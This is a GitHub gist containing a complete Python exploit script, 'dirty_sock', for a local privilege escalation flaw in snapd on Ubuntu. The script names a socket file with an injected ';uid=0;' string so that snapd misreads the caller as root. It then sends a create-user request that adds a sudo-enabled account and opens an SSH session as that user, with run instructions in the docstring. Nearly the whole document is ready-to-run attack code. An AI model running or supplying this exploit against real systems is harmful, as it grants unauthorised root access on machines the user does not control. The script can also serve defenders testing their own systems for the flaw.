Skip to content

Instantly share code, notes, and snippets.

@MattCurryCom
Created February 14, 2019 21:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MattCurryCom/898e360eec5f98e574c5ed394b860788 to your computer and use it in GitHub Desktop.
Save MattCurryCom/898e360eec5f98e574c5ed394b860788 to your computer and use it in GitHub Desktop.
Tests SnapD Escalation bug
#!/usr/bin/env python3
"""
Local privilege escalation via snapd, affecting Ubuntu and others.
Discovered by Chris Moberly.
Before running, you need to:
- Create an Ubuntu developer account (https://snapcraft.io/)
- Login to that account and ensure you have your public SSH key configured
in your profile.
Run exploit like this:
dirty_sock.py -u <account email> -k <ssh priv key file>
Note that the exploit will create a new user account on the system with sudo
privileges and will also import your public key from your online Ubuntu
account. You may want to clean these up after use.
"""
import argparse
import string
import random
import socket
import re
import sys
import os
def process_args():
"""Handles user-passed parameters"""
parser = argparse.ArgumentParser()
parser.add_argument('--username', '-u', type=str, action='store',
required=True, help='Your Ubuntu One account email.')
parser.add_argument('--key', '-k', type=str, action='store',
required=True, help='Full path to the same SSH public'
' key used in your Ubuntu One account.')
args = parser.parse_args()
if not os.path.isfile(args.key):
print("[!] That key file does not exist. Please try again.")
sys.exit()
return args
def create_sockfile():
"""Generates a random socket file name to use"""
alphabet = string.ascii_lowercase
random_string = ''.join(random.choice(alphabet) for i in range(10))
dirty_sock = ';uid=0;'
# This is where we slip on the dirty sock. This makes its way into the
# UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion
# by snapd's ucrednet.go file, allowing us to overwrite the UID variable.
sockfile = '/tmp/' + random_string + dirty_sock
print("[+] Slipped dirty sock on random socket file: " + sockfile)
return sockfile
def exploit_me(args, sockfile):
"""Main exploit function"""
post_payload = ('{"email": "' + args.username +
'", "sudoer": true, "force-managed": true}')
http_req = ('POST /v2/create-user HTTP/1.1\r\n'
'Host: localhost\r\n'
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n'
+ post_payload)
# This exploit only works if we also BIND to the socket after creating
# it, as we need to inject the dirty sock as a remote peer in the
# socket's ancillary data.
print("[+] Binding to socket file...")
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)
# Connect to the snap daemon
print("[+] Connecting to snapd API...")
client_sock.connect('/run/snapd.socket')
# Send our payload to the snap API
print("[+] Sending payload...")
client_sock.sendall(http_req.encode("utf-8"))
# Receive the data and extract the JSON
http_reply = client_sock.recv(8192).decode("utf-8")
# Try to extract a username from the valid reply
regex = re.compile(r'"status":"OK","result":{"username":"(.*?)"')
username = re.findall(regex, http_reply)
# If exploit was not successful, give details and exit
if 'cannot find user' in http_reply:
print("[!] Could not find user in the snap store... did you follow"
" the instructions?")
print("Here is the API reply:")
print(http_reply)
sys.exit()
if not username:
print("[!] Something went wrong... Here is the API reply:")
print(http_reply)
sys.exit()
# SSH into localhost with our new root account
print("[+] Success! Enjoy your new account with sudo rights!")
cmd1 = 'chmod 600 ' + args.key
cmd2 = 'ssh ' + username[0] + '@localhost -i ' + args.key
os.system(cmd1)
os.system(cmd2)
print("[+] Hope you enjoyed your stay!")
sys.exit()
def main():
"""Main program function"""
args = process_args()
sockfile = create_sockfile()
exploit_me(args, sockfile)
os.remove(sockfile)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment